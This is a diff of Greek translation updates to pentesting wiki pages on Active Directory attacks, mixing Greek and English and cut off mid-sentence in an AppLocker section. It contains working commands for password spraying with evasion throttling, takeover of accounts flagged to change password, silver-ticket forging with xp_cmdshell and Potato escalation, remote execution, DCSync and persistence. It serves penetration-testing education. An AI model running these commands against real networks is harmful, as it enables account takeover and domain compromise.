diff --git a/src/windows-hardening/active-directory-methodology/kerberos-authentication.md b/src/windows-hardening/active-directory-methodology/kerberos-authentication.md index 7b5e2507b..40b9768e1 100644 --- a/src/windows-hardening/active-directory-methodology/kerberos-authentication.md +++ b/src/windows-hardening/active-directory-methodology/kerberos-authentication.md @@ -1,7 +1,7 @@ -# Kerberos Authentication +# Αυθεντικοποίηση Kerberos {{#include ../../banners/hacktricks-training.md}} -**Δείτε την καταπληκτική ανάρτηση από:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/) +**Δείτε το καταπληκτικό άρθρο στο:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/password-spraying.md b/src/windows-hardening/active-directory-methodology/password-spraying.md index e81bac695..78a26bda2 100644 --- a/src/windows-hardening/active-directory-methodology/password-spraying.md +++ b/src/windows-hardening/active-directory-methodology/password-spraying.md @@ -5,16 +5,16 @@ ## **Password Spraying** -Μόλις βρείτε αρκετά **valid usernames** μπορείτε να δοκιμάσετε τους πιο **common passwords** (έχετε υπόψη την password policy του περιβάλλοντος) για κάθε έναν από τους ανακαλυφθέντες users.\ -Κατά **default** το **minimum** **password** **length** είναι **7**. +Αφού βρείτε μερικά **valid usernames** μπορείτε να δοκιμάσετε τους πιο **common passwords** (έχοντας υπόψη την password policy του περιβάλλοντος)\ με κάθε έναν από τους ανακαλυφθέντες χρήστες.\ +Από **default** το **minimum** **password** **length** είναι **7**. -Lists of common usernames could also be useful: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) +Λίστες με **common usernames** μπορεί επίσης να είναι χρήσιμες: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) -Σημειώστε ότι **μπορεί να lockout μερικούς λογαριασμούς αν δοκιμάσετε αρκετούς λανθασμένους passwords** (κατά default περισσότερους από 10). +Σημειώστε ότι **could lockout some accounts if you try several wrong passwords** (by default more than 10). -### Λήψη password policy +### Get password policy -Αν έχετε κάποια user credentials ή ένα shell ως domain user μπορείτε να **get the password policy with**: +Εάν έχετε κάποια user credentials ή ένα shell ως domain user μπορείτε να **get the password policy with**: ```bash # From Linux crackmapexec -u 'user' -p 'password' --pass-pol @@ -31,27 +31,27 @@ net accounts (Get-DomainPolicy)."SystemAccess" #From powerview ``` -### Εκμετάλλευση από Linux (ή από όλα) +### Exploitation από Linux (ή όλα) -- Χρήση του **crackmapexec:** +- Χρήση **crackmapexec:** ```bash crackmapexec smb -u users.txt -p passwords.txt # Local Auth Spray (once you found some local admin pass or hash) ## --local-auth flag indicate to only try 1 time per machine crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep + ``` -- Χρήση [**kerbrute**](https://github.com/ropnop/kerbrute) (Go) +- Χρησιμοποιώντας [**kerbrute**](https://github.com/ropnop/kerbrute) (Go) ```bash # Password Spraying ./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123 # Brute-Force ./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman ``` -- [**spray**](https://github.com/Greenwolf/Spray) _**(μπορείτε να καθορίσετε τον αριθμό προσπαθειών για να αποφύγετε lockouts):**_ +- [**spray**](https://github.com/Greenwolf/Spray) _**(μπορείτε να υποδείξετε τον αριθμό των προσπαθειών για να αποφύγετε τα lockouts):**_ ```bash spray.sh -smb ``` -- Χρήση [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - ΔΕΝ ΣΥΝΙΣΤΑΤΑΙ, ΚΑΠΟΙΕΣ ΦΟΡΕΣ ΔΕΝ ΛΕΙΤΟΥΡΓΕΙ +- Χρησιμοποιώντας [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - Δεν συνιστάται — μερικές φορές δεν λειτουργεί ```bash python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt @@ -60,7 +60,7 @@ python kerbrute.py -domain jurassic.park -users users.txt -password Password123 ![](<../../images/image (745).png>) -- Χρησιμοποιώντας το **rpcclient**: +- Χρησιμοποιώντας **rpcclient**: ```bash # https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/ for u in $(cat users.txt); do @@ -69,7 +69,7 @@ done ``` #### Από Windows -- Με [Rubeus](https://github.com/Zer1t0/Rubeus) έκδοση με brute module: +- Με την έκδοση του [Rubeus](https://github.com/Zer1t0/Rubeus) με το brute module: ```bash # with a list of users .\Rubeus.exe brute /users: /passwords: /domain: /outfile: @@ -77,7 +77,7 @@ done # check passwords for all users in current domain .\Rubeus.exe brute /passwords: /outfile: ``` -- Με [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Μπορεί εξ ορισμού να δημιουργήσει χρήστες από το domain και να λαμβάνει την πολιτική κωδικών πρόσβασης από αυτό, περιορίζοντας τις προσπάθειες ανάλογα με αυτήν): +- Με [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Μπορεί να δημιουργήσει users από το domain από προεπιλογή και θα παίρνει την password policy από το domain και θα περιορίζει τις προσπάθειες σύμφωνα με αυτή): ```bash Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose ``` @@ -85,13 +85,45 @@ Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose ``` Invoke-SprayEmptyPassword ``` +### Αναγνώριση και κατάληψη "Password must change at next logon" Accounts (SAMR) + +Μια low-noise τεχνική είναι να κάνετε spray ένα benign/empty password και να εντοπίσετε λογαριασμούς που επιστρέφουν STATUS_PASSWORD_MUST_CHANGE, που υποδεικνύει ότι ο κωδικός έχει εξαναγκαστεί σε λήξη και μπορεί να αλλάξει χωρίς να γνωρίζετε τον προηγούμενο. + +Workflow: +- Καταγράψτε τους χρήστες (RID brute via SAMR) για να δημιουργήσετε τη λίστα στόχων: + +{{#ref}} +../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md +{{#endref}} +```bash +# NetExec (null/guest) + RID brute to harvest users +netexec smb -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt +``` +- Spray ένα κενό password και συνέχισε στις hits για να αποκτήσεις accounts που πρέπει να αλλάξουν στο επόμενο logon: +```bash +# Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results +netexec smb -u users.txt -p '' --continue-on-success +``` +- Για κάθε hit, αλλάξτε τον κωδικό πρόσβασης μέσω SAMR με το NetExec’s module (δεν απαιτείται ο παλιός κωδικός όταν το "must change" είναι ενεργοποιημένο): +```bash +# Strong complexity to satisfy policy +env NEWPASS='P@ssw0rd!2025#' ; \ +netexec smb -u -p '' -M change-password -o NEWPASS="$NEWPASS" + +# Validate and retrieve domain password policy with the new creds +netexec smb -u -p "$NEWPASS" --pass-pol +``` +Λειτουργικές σημειώσεις: +- Βεβαιώσου ότι το host σου έχει συγχρονισμένη ώρα με τον DC πριν από λειτουργίες που βασίζονται σε Kerberos: `sudo ntpdate `. +- Ένα [+] χωρίς (Pwn3d!) σε ορισμένα modules (π.χ., RDP/WinRM) σημαίνει ότι τα creds είναι έγκυρα αλλά ο λογαριασμός δεν διαθέτει δικαιώματα διαδραστικής σύνδεσης. + ## Brute Force ```bash legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org ``` ### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray) -Το Kerberos pre-auth–based spraying μειώνει τον θόρυβο σε σχέση με τις προσπάθειες SMB/NTLM/LDAP bind και εναρμονίζεται καλύτερα με τις πολιτικές lockout του AD. Το SpearSpray συνδυάζει LDAP-driven targeting, έναν pattern engine και policy awareness (domain policy + PSOs + badPwdCount buffer) για να κάνει spraying με ακρίβεια και ασφάλεια. Μπορεί επίσης να επισημαίνει compromised principals σε Neo4j για BloodHound pathing. +Το Kerberos pre-auth–based spraying μειώνει τον θόρυβο σε σχέση με SMB/NTLM/LDAP bind attempts και ευθυγραμμίζεται καλύτερα με τις AD lockout policies. Το SpearSpray συνδυάζει LDAP-driven targeting, έναν pattern engine και policy awareness (domain policy + PSOs + badPwdCount buffer) για να πραγματοποιεί spraying με ακρίβεια και ασφάλεια. Μπορεί επίσης να tag compromised principals στο Neo4j για BloodHound pathing. Key ideas: - LDAP user discovery with paging and LDAPS support, optionally using custom LDAP filters. @@ -112,7 +144,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local # LDAPS (TCP/636) spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl ``` -Στόχευση και έλεγχος προτύπων: +Στόχευση και έλεγχος μοτίβων: ```bash # Custom LDAP filter (e.g., target specific OU/attributes) spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \ @@ -121,7 +153,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local # Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra} spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME ``` -Μέτρα για αθέατη λειτουργία και ασφάλεια: +Έλεγχοι απόκρυψης και ασφάλειας: ```bash # Control concurrency, add jitter, and cap request rate spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10 @@ -144,27 +176,27 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local ``` Available variables include: - {name}, {samaccountname} -- Temporal from each user’s pwdLastSet (or whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en} -- Composition helpers and org token: {separator}, {suffix}, {extra} +- Χρονικά από το pwdLastSet κάθε χρήστη (ή whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en} +- Βοηθήματα σύνθεσης και org token: {separator}, {suffix}, {extra} Operational notes: -- Προτιμήστε να κάνετε query στον PDC-emulator με -dc για να διαβάσετε το πιο αξιόπιστο badPwdCount και πληροφορίες σχετικές με πολιτικές. -- badPwdCount resets are triggered on the next attempt after the observation window; use threshold and timing to stay safe. -- Οι προσπάθειες Kerberos pre-auth εμφανίζονται ως 4768/4771 στην DC telemetry; χρησιμοποιήστε jitter και rate-limiting για να μειώσετε την ανιχνευσιμότητα. +- Προτιμήστε να κάνετε query τον PDC-emulator με -dc για να διαβάσετε το πιο αξιόπιστο badPwdCount και πληροφορίες σχετικές με policy. +- Οι resets του badPwdCount ενεργοποιούνται στην επόμενη προσπάθεια μετά το observation window· χρησιμοποιήστε threshold και timing για να παραμείνετε ασφαλείς. +- Οι Kerberos pre-auth προσπάθειες εμφανίζονται ως 4768/4771 στη DC telemetry· χρησιμοποιήστε jitter και rate-limiting για να μη ξεχωρίζετε. -> Συμβουλή: Το default LDAP page size του SpearSpray είναι 200; προσαρμόστε με -lps όπως χρειάζεται. +> Συμβουλή: Το default LDAP page size του SpearSpray είναι 200· προσαρμόστε με -lps αν χρειαστεί. ## Outlook Web Access -Υπάρχουν πολλαπλά εργαλεία για p**assword spraying outlook**. +Υπάρχουν πολλά εργαλεία για password spraying στο Outlook. - Με [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/) -- με [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/) +- Με [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/) - Με [Ruler](https://github.com/sensepost/ruler) (αξιόπιστο!) - Με [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell) - Με [MailSniper](https://github.com/dafthack/MailSniper) (Powershell) -Για να χρησιμοποιήσετε οποιοδήποτε από αυτά τα εργαλεία, χρειάζεστε μια λίστα χρηστών και ένα password / μια μικρή λίστα passwords για να spray. +Για να χρησιμοποιήσετε οποιοδήποτε από αυτά τα εργαλεία, χρειάζεστε μια λίστα χρηστών και ένα password / μια μικρή λίστα passwords για να κάνετε password spraying. ```bash ./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose [x] Failed: larsson:Summer2020 @@ -194,6 +226,7 @@ Operational notes: - [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell) - [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296) - [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying) +- [HTB Sendai – 0xdf: from spray to gMSA to DA/SYSTEM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/silver-ticket.md b/src/windows-hardening/active-directory-methodology/silver-ticket.md index cc8d98408..5c1048c8a 100644 --- a/src/windows-hardening/active-directory-methodology/silver-ticket.md +++ b/src/windows-hardening/active-directory-methodology/silver-ticket.md @@ -6,15 +6,15 @@ ## Silver ticket -Η επίθεση **Silver Ticket** περιλαμβάνει την εκμετάλλευση υπηρεσιακών εισιτηρίων σε περιβάλλοντα Active Directory (AD). Αυτή η μέθοδος βασίζεται στην **απόκτηση του NTLM hash ενός λογαριασμού υπηρεσίας**, όπως ενός λογαριασμού υπολογιστή, για να κατασκευαστεί ένα Ticket Granting Service (TGS) ticket. Με αυτό το πλαστό εισιτήριο, ένας επιτιθέμενος μπορεί να έχει πρόσβαση σε συγκεκριμένες υπηρεσίες στο δίκτυο, **υποδυόμενος οποιονδήποτε χρήστη**, συνήθως στοχεύοντας σε διοικητικά δικαιώματα. Τονίζεται ότι η χρήση κλειδιών AES για την κατασκευή εισιτηρίων είναι πιο ασφαλής και λιγότερο ανιχνεύσιμη. +The **Silver Ticket** attack involves the exploitation of service tickets in Active Directory (AD) environments. This method relies on **acquiring the NTLM hash of a service account**, such as a computer account, to forge a Ticket Granting Service (TGS) ticket. With this forged ticket, an attacker can access specific services on the network, **impersonating any user**, typically aiming for administrative privileges. It's emphasized that using AES keys for forging tickets is more secure and less detectable. > [!WARNING] -> Τα Silver Tickets είναι λιγότερο ανιχνεύσιμα από τα Golden Tickets επειδή απαιτούν μόνο το **hash του λογαριασμού υπηρεσίας**, όχι του λογαριασμού krbtgt. Ωστόσο, είναι περιορισμένα στην συγκεκριμένη υπηρεσία που στοχεύουν. Επιπλέον, απλώς κλέβοντας τον κωδικό πρόσβασης ενός χρήστη. -Επιπλέον, αν παραβιάσετε τον **κωδικό πρόσβασης ενός λογαριασμού με SPN** μπορείτε να χρησιμοποιήσετε αυτόν τον κωδικό πρόσβασης για να δημιουργήσετε ένα Silver Ticket υποδυόμενοι οποιονδήποτε χρήστη σε αυτή την υπηρεσία. +> Silver Tickets are less detectable than Golden Tickets because they only require the **hash of the service account**, not the krbtgt account. However, they are limited to the specific service they target. Moreover, just stealing the password of a user. +Moreover, if you compromise an **account's password with a SPN** you can use that password to create a Silver Ticket impersonating any user to that service. -Για την κατασκευή εισιτηρίων, χρησιμοποιούνται διάφορα εργαλεία ανάλογα με το λειτουργικό σύστημα: +Για τη δημιουργία των tickets, χρησιμοποιούνται διαφορετικά εργαλεία ανάλογα με το λειτουργικό σύστημα: -### On Linux +### Σε Linux ```bash python ticketer.py -nthash -domain-sid -domain -spn export KRB5CCNAME=/root/impacket-examples/.ccache @@ -37,48 +37,80 @@ mimikatz.exe "kerberos::ptt " # Obtain a shell .\PsExec.exe -accepteula \\ cmd ``` -Η υπηρεσία CIFS επισημαίνεται ως κοινός στόχος για την πρόσβαση στο σύστημα αρχείων του θύματος, αλλά και άλλες υπηρεσίες όπως οι HOST και RPCSS μπορούν επίσης να εκμεταλλευτούν για εργασίες και ερωτήματα WMI. +Η υπηρεσία CIFS επισημαίνεται ως κοινός στόχος για πρόσβαση στο σύστημα αρχείων του θύματος, αλλά άλλες υπηρεσίες όπως HOST και RPCSS μπορούν επίσης να εκμεταλλευτούνται για εργασίες και ερωτήματα WMI. + +### Παράδειγμα: MSSQL υπηρεσία (MSSQLSvc) + Potato σε SYSTEM + +Εάν έχετε το NTLM hash (ή το AES key) ενός λογαριασμού υπηρεσίας SQL (π.χ. sqlsvc), μπορείτε να πλαστογραφήσετε ένα TGS για το MSSQL SPN και να προσωμοιώσετε οποιονδήποτε χρήστη στην υπηρεσία SQL. Από εκεί, ενεργοποιήστε το xp_cmdshell για να εκτελέσετε εντολές ως ο λογαριασμός υπηρεσίας SQL. Εάν αυτό το token έχει SeImpersonatePrivilege, αλυσοδέστε ένα Potato για να αναβαθμίσετε σε SYSTEM. +```bash +# Forge a silver ticket for MSSQLSvc (RC4/NTLM example) +python ticketer.py -nthash -domain-sid -domain \ +-spn MSSQLSvc/:1433 administrator +export KRB5CCNAME=$PWD/administrator.ccache + +# Connect to SQL using Kerberos and run commands via xp_cmdshell +impacket-mssqlclient -k -no-pass /administrator@:1433 \ +-q "EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami'" +``` +- Εάν το προκύπτον πλαίσιο έχει SeImpersonatePrivilege (συχνά αληθές για service accounts), χρησιμοποίησε μια παραλλαγή Potato για να αποκτήσεις SYSTEM: +```bash +# On the target host (via xp_cmdshell or interactive), run e.g. PrintSpoofer/GodPotato +PrintSpoofer.exe -c "cmd /c whoami" +# or +GodPotato -cmd "cmd /c whoami" +``` +Περισσότερες λεπτομέρειες για την κατάχρηση του MSSQL και την ενεργοποίηση του xp_cmdshell: + +{{#ref}} +abusing-ad-mssql.md +{{#endref}} + +Επισκόπηση τεχνικών Potato: + +{{#ref}} +../windows-local-privilege-escalation/roguepotato-and-printspoofer.md +{{#endref}} ## Διαθέσιμες Υπηρεσίες -| Τύπος Υπηρεσίας | Υπηρεσία Silver Tickets | -| ------------------------------------------ | ------------------------------------------------------------------------ | -| WMI |

HOST

RPCSS

| -| PowerShell Remoting |

HOST

HTTP

Ανάλογα με το λειτουργικό σύστημα επίσης:

WSMAN

RPCSS

| -| WinRM |

HOST

HTTP

Σε ορισμένες περιπτώσεις μπορείτε απλώς να ζητήσετε: WINRM

| -| Προγραμματισμένα Καθήκοντα | HOST | -| Κοινή Χρήση Αρχείων Windows, επίσης psexec | CIFS | -| Λειτουργίες LDAP, συμπεριλαμβανομένου του DCSync | LDAP | -| Εργαλεία Διαχείρισης Απομακρυσμένων Διακομιστών Windows |

RPCSS

LDAP

CIFS

| -| Χρυσά Εισιτήρια | krbtgt | +| Τύπος Υπηρεσίας | Υπηρεσία Silver Tickets | +| ---------------------------------------- | -------------------------------------------------------------------------- | +| WMI |

HOST

RPCSS

| +| PowerShell Remoting |

HOST

HTTP

Depending on OS also:

WSMAN

RPCSS

| +| WinRM |

HOST

HTTP

In some occasions you can just ask for: WINRM

| +| Scheduled Tasks | HOST | +| Windows File Share, also psexec | CIFS | +| LDAP operations, included DCSync | LDAP | +| Windows Remote Server Administration Tools |

RPCSS

LDAP

CIFS

| +| Golden Tickets | krbtgt | -Χρησιμοποιώντας **Rubeus** μπορείτε να **ζητήσετε όλα** αυτά τα εισιτήρια χρησιμοποιώντας την παράμετρο: +Χρησιμοποιώντας **Rubeus** μπορείτε να ζητήσετε όλα αυτά τα tickets χρησιμοποιώντας την παράμετρο: - `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm` -### IDs Γεγονότων Silver Tickets +### Event IDs για Silver tickets -- 4624: Σύνδεση Λογαριασμού -- 4634: Αποσύνδεση Λογαριασμού -- 4672: Σύνδεση Διαχειριστή +- 4624: Account Logon +- 4634: Account Logoff +- 4672: Admin Logon -## Επιμονή +## Διατήρηση πρόσβασης -Για να αποφευχθεί η περιστροφή του κωδικού πρόσβασης των μηχανών κάθε 30 ημέρες, ρυθμίστε `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` ή μπορείτε να ρυθμίσετε `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` σε μεγαλύτερη τιμή από 30 ημέρες για να υποδείξετε την περίοδο περιστροφής κατά την οποία θα πρέπει να περιστραφεί ο κωδικός πρόσβασης της μηχανής. +Για να αποφύγετε τα μηχανήματα από το να αλλάζουν τον κωδικό τους κάθε 30 ημέρες ορίστε `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` ή μπορείτε να ορίσετε `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` σε μια τιμή μεγαλύτερη από 30 ημέρες για να υποδείξετε την περίοδο περιστροφής στην οποία πρέπει να περιστραφεί ο κωδικός του μηχανήματος. -## Κατάχρηση Εισιτηρίων Υπηρεσίας +## Κατάχρηση Service tickets -Στα παρακάτω παραδείγματα ας φανταστούμε ότι το εισιτήριο ανακτάται υποδυόμενοι τον λογαριασμό διαχειριστή. +Στα ακόλουθα παραδείγματα ας υποθέσουμε ότι το ticket αποκτήθηκε προσωποποιώντας τον λογαριασμό διαχειριστή. ### CIFS -Με αυτό το εισιτήριο θα μπορείτε να έχετε πρόσβαση στους φακέλους `C$` και `ADMIN$` μέσω **SMB** (αν είναι εκτεθειμένοι) και να αντιγράψετε αρχεία σε ένα μέρος του απομακρυσμένου συστήματος αρχείων απλά κάνοντας κάτι όπως: +Με αυτό το ticket θα μπορέσετε να αποκτήσετε πρόσβαση στους φακέλους `C$` και `ADMIN$` μέσω **SMB** (εφόσον είναι εκτεθειμένοι) και να αντιγράψετε αρχεία σε μέρος του απομακρυσμένου filesystem απλώς κάνοντας κάτι σαν: ```bash dir \\vulnerable.computer\C$ dir \\vulnerable.computer\ADMIN$ copy afile.txt \\vulnerable.computer\C$\Windows\Temp ``` -Θα μπορείτε επίσης να αποκτήσετε ένα shell μέσα στον υπολογιστή ή να εκτελέσετε αυθαίρετες εντολές χρησιμοποιώντας **psexec**: +Θα μπορείτε επίσης να αποκτήσετε shell στον host ή να εκτελέσετε αυθαίρετες εντολές χρησιμοποιώντας **psexec**: {{#ref}} ../lateral-movement/psexec-and-winexec.md @@ -86,7 +118,7 @@ copy afile.txt \\vulnerable.computer\C$\Windows\Temp ### HOST -Με αυτή την άδεια μπορείτε να δημιουργήσετε προγραμματισμένα καθήκοντα σε απομακρυσμένους υπολογιστές και να εκτελέσετε αυθαίρετες εντολές: +Με αυτήν την άδεια μπορείτε να δημιουργήσετε scheduled tasks σε απομακρυσμένους υπολογιστές και να εκτελέσετε αυθαίρετες εντολές: ```bash #Check you have permissions to use schtasks over a remote server schtasks /S some.vuln.pc @@ -100,7 +132,7 @@ schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName" ``` ### HOST + RPCSS -Με αυτά τα εισιτήρια μπορείτε να **εκτελέσετε WMI στο σύστημα του θύματος**: +Με αυτά τα tickets μπορείτε να **εκτελέσετε WMI στο σύστημα του θύματος**: ```bash #Check you have enough privileges Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local @@ -110,7 +142,8 @@ Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlis #You can also use wmic wmic remote.computer.local list full /format:list ``` -Βρείτε **περισσότερες πληροφορίες σχετικά με το wmiexec** στη παρακάτω σελίδα: +Βρείτε **περισσότερες πληροφορίες για wmiexec** στην παρακάτω σελίδα: + {{#ref}} ../lateral-movement/wmiexec.md @@ -118,22 +151,23 @@ wmic remote.computer.local list full /format:list ### HOST + WSMAN (WINRM) -Με πρόσβαση winrm σε έναν υπολογιστή μπορείτε να **έχετε πρόσβαση** σε αυτόν και ακόμη και να αποκτήσετε ένα PowerShell: +Με πρόσβαση winrm σε έναν υπολογιστή μπορείτε να **έχετε πρόσβαση σε αυτόν** και ακόμη να αποκτήσετε ένα PowerShell: ```bash New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC ``` -Δείτε την παρακάτω σελίδα για να μάθετε **περισσότερους τρόπους σύνδεσης με έναν απομακρυσμένο υπολογιστή χρησιμοποιώντας winrm**: +Ελέγξτε την παρακάτω σελίδα για να μάθετε **περισσότερους τρόπους σύνδεσης με έναν απομακρυσμένο host χρησιμοποιώντας winrm**: + {{#ref}} ../lateral-movement/winrm.md {{#endref}} > [!WARNING] -> Σημειώστε ότι **το winrm πρέπει να είναι ενεργό και να ακούει** στον απομακρυσμένο υπολογιστή για να έχετε πρόσβαση σε αυτόν. +> Σημειώστε ότι **το winrm πρέπει να είναι ενεργό και να ακούει** στον απομακρυσμένο υπολογιστή για να έχετε πρόσβαση. ### LDAP -Με αυτό το προνόμιο μπορείτε να εξάγετε τη βάση δεδομένων του DC χρησιμοποιώντας **DCSync**: +Με αυτό το προνόμιο μπορείτε να κάνετε dump στη βάση δεδομένων του DC χρησιμοποιώντας **DCSync**: ``` mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt ``` @@ -150,6 +184,7 @@ dcsync.md - [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets) - [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/) - [https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027](https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027) +- [HTB Sendai – 0xdf: Silver Ticket + Potato path](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html) diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md index 64c15119f..5c5718e3e 100644 --- a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md +++ b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md @@ -1,17 +1,17 @@ -# Windows Security Controls +# Έλεγχοι Ασφαλείας Windows {{#include ../../banners/hacktricks-training.md}} -## AppLocker Policy +## Πολιτική AppLocker -Μια λίστα λευκών εφαρμογών είναι μια λίστα εγκεκριμένων λογισμικών εφαρμογών ή εκτελέσιμων που επιτρέπεται να είναι παρόντα και να εκτελούνται σε ένα σύστημα. Ο στόχος είναι να προστατευθεί το περιβάλλον από κακόβουλο λογισμικό και μη εγκεκριμένο λογισμικό που δεν ευθυγραμμίζεται με τις συγκεκριμένες επιχειρηματικές ανάγκες ενός οργανισμού. +Μια λίστα επιτρεπόμενων εφαρμογών (application whitelist) είναι μια λίστα εγκεκριμένων εφαρμογών ή εκτελέσιμων αρχείων που επιτρέπεται να βρίσκονται και να εκτελούνται σε ένα σύστημα. Ο στόχος είναι να προστατευτεί το περιβάλλον από κακόβουλο λογισμικό (malware) και μη εγκεκριμένο λογισμικό που δεν ευθυγραμμίζεται με τις συγκεκριμένες επιχειρηματικές ανάγκες ενός οργανισμού. -[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) είναι η **λύση λευκής λίστας εφαρμογών** της Microsoft και δίνει στους διαχειριστές συστημάτων έλεγχο πάνω σε **ποια εφαρμογές και αρχεία μπορούν να εκτελούν οι χρήστες**. Παρέχει **λεπτομερή έλεγχο** πάνω σε εκτελέσιμα, σενάρια, αρχεία εγκατάστασης Windows, DLLs, πακέτα εφαρμογών και εγκαταστάτες πακέτων εφαρμογών.\ -Είναι κοινό για τους οργανισμούς να **μπλοκάρουν το cmd.exe και το PowerShell.exe** και την εγγραφή σε ορισμένους καταλόγους, **αλλά όλα αυτά μπορούν να παρακαμφθούν**. +[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) είναι η λύση της Microsoft για application whitelisting και δίνει στους διαχειριστές συστήματος έλεγχο σχετικά με **ποια εφαρμογές και αρχεία μπορούν να εκτελέσουν οι χρήστες**. Παρέχει **λεπτομερή έλεγχο** πάνω σε executables, scripts, Windows installer files, DLLs, packaged apps, και packed app installers.\ +Είναι σύνηθες οι οργανισμοί να **block cmd.exe and PowerShell.exe** και να περιορίζουν το write access σε ορισμένους καταλόγους, **but this can all be bypassed**. -### Check +### Έλεγχος -Έλεγχος ποια αρχεία/επέκταση είναι στη μαύρη/λευκή λίστα: +Ελέγξτε ποια αρχεία/επεκτάσεις είναι blacklisted/whitelisted: ```bash Get-ApplockerPolicy -Effective -xml @@ -20,56 +20,56 @@ Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections $a = Get-ApplockerPolicy -effective $a.rulecollections ``` -Αυτή η διαδρομή μητρώου περιέχει τις ρυθμίσεις και τις πολιτικές που εφαρμόζονται από το AppLocker, παρέχοντας έναν τρόπο για να αναθεωρήσετε το τρέχον σύνολο κανόνων που επιβάλλονται στο σύστημα: +Αυτή η διαδρομή μητρώου περιέχει τις ρυθμίσεις και τις πολιτικές που εφαρμόζονται από το AppLocker, παρέχοντας έναν τρόπο να εξετάσετε το τρέχον σύνολο κανόνων που επιβάλλονται στο σύστημα: - `HKLM\Software\Policies\Microsoft\Windows\SrpV2` -### Παράκαμψη +### Bypass -- Χρήσιμες **Εγγράψιμες φακέλους** για να παρακάμψετε την Πολιτική του AppLocker: Εάν το AppLocker επιτρέπει την εκτέλεση 